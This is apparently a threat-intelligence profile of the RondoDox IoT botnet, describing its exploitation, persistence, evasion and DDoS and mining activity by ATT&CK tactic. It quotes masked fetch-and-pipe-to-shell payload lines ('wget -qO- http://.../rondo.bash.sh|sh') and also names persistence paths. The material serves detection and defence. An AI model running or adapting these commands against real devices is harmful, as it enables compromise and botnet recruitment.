RondoDox
- Type
- Botnet
- Capabilities
- DDOSInitial accessScanningReconnaissancePersistenceDefense evasion
- Delivery
- Exploit kitDrive by
- Platforms
- LinuxIOTNetwork device
RondoDox is a Linux-based, Mirai-like botnet primarily used for distributed denial-of-service attacks. It recruits internet-exposed routers, DVRs, cameras, other IoT devices, network appliances, and application servers through opportunistic mass exploitation. Its operators employ a broad, expanding arsenal of command-injection and remote-code-execution exploits against both older embedded devices and enterprise applications. Observed targets include TP-Link routers, ASUS routers, GitLab, XWiki, and vulnerable React Server Components and Next.js deployments. The campaign is geographically widespread rather than confined to a particular industry.
Infection typically begins with a shell-based loader that identifies the host's processor architecture, downloads a compatible Linux ELF payload, and executes it. Distribution supports numerous architectures, including ARM, MIPS, and x86. Loader behavior includes terminating competing botnets and miners, removing previous infections, attempting to disable SELinux and AppArmor, and clearing shell history. Infection chains also establish persistence through scheduled tasks and system services, with recurring process checks used to maintain control.
The bot communicates with command-and-control infrastructure to receive tasks and conduct DDoS attacks. Associated multistage deployments also include cryptocurrency-mining components. RondoDox operations combine automated vulnerability probing with architecture-specific payload delivery and rotate staging infrastructure, including compromised residential systems. Process masquerading and string obfuscation further impede detection and analysis.
Associated vulnerabilities
166 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
154 more CVEs associated with this family tracked in Mallory.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
"Most of November’s volume tracked to a single cluster we associate with RondoDox distribution. 76% of attempts (737 out of 969) matched the same delivery pattern... with payloads that fetch and execute a first-stage script... ( wget -qO- http://74.###.###.52/rondo.ame.sh ... ) | sh"
Techniques & procedures
28 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 technique
Reconnaissance
RondoDox relies on a multi-stage attack chain built around mass exploitation... Its scans for exposed devices, attempting to exploit one of possibly dozens of embedded CVEs at once
Resource Development
2 techniques
Resource Development
«Resource Dev T1584.005 (Botnet) ... Наращивание ботнет-инфраструктуры»
«T1588.006 (Vulnerabilities) ... Мониторинг CVE-дискложуров и PoC до публичного раскрытия»
Initial Access
1 technique
Initial Access
«Initial Access T1190 (Exploit Public-Facing Application) ... POST к /api/jobs/ на Ray Dashboard»
Execution
4 techniques
Execution
At this point it will also set up its own persistence and drop and launch the XMRig miner
Many payloads invoke shell execution, e.g. "|sh", "/bin/bash -c \"wget -qO- http://<REDACTED_IP>/rondo.bash.sh|sh&\"", "require('child_process').exec(...)", and "java.lang.Runtime.getRuntime().exec(...)".
«Execution T1059.004 (Unix Shell) ... Shell-скрипт без записи на диск»
Cette vulnérabilité permet une exécution de code à distance (RCE) et est exploitée à grande échelle par le botnet RondoDox
Persistence
3 techniques
Persistence
"appends its launch command to several system startup files, including /etc/rcS, /etc/init.d/rcS, and /etc/inittab"
At this point it will also set up its own persistence and drop and launch the XMRig miner
"decode to /etc/init.d/rondo and /etc/rc3.d/S99rondo"; "using init scripts"
Privilege Escalation
3 techniques
Privilege Escalation
"appends its launch command to several system startup files, including /etc/rcS, /etc/init.d/rcS, and /etc/inittab"
At this point it will also set up its own persistence and drop and launch the XMRig miner
"decode to /etc/init.d/rondo and /etc/rc3.d/S99rondo"; "using init scripts"
Stealth
8 techniques
Stealth
"RondoDox malware encodes its configuration data using a simple XOR obfuscation algorithm... decrypted using the hexadecimal key 0x21"
The table shows varied User-Agent strings and email-like identifiers such as "Mozilla/5.0 (bang2012@tutanota.de)", "Mozilla/5.0 (bang2012@protonmail.com)", and browser-like Chrome user agents.
It then attempts to remove other threats, both by checking specific file locations and by removing entries from the victim's crontabs.
"and clears the command execution history to evade detection"
The payloads repeatedly rely on native utilities such as "wget", "busybox wget", "curl", and shell interpreters already present on the target device.
Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.
The payloads we’ve observed always prevent the initial implant to be written to disk, piping the output of one command into another.
Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.
Defense Impairment
2 techniques
Defense Impairment
"RondoDox modifies file permissions and symbolic links to establish persistence"
"If any such processes are detected, RondoDox immediately terminates them" (e.g., Wireshark, gdb, tcpdump, ufw/iptables-related tooling)
Discovery
3 techniques
Discovery
"a follow-on script handles architecture detection and payload staging."
Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.
Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.
Command and Control
3 techniques
Command and Control
This isn’t hypothetical — it’s the entire history of IoT botnets, from Mirai in 2016 through the Aisuru and RondoDox campaigns still running in 2025–2026, which scan the internet for devices with default passwords and enroll them automatically.
Likely usage of compromised residential IPs as hosting infrastructure
«T1105 (Ingress Tool Transfer) ... Загрузка бинаря под конкретную архитектуру»
Impact
4 techniques
Impact
utilisés pour mener des attaques par déni de service distribué (DDoS), des opérations de minage de cryptomonnaies
«Compute Hijacking (T1496.001, Impact) ... запуск XMRig и других майнеров на GPU»
afin de constituer de vastes réseaux de bots utilisés pour mener des attaques par déni de service distribué (DDoS)
"Unlike Mirai, this malware’s sole purpose is to execute DoS attacks..."
Observables
192 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
88 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.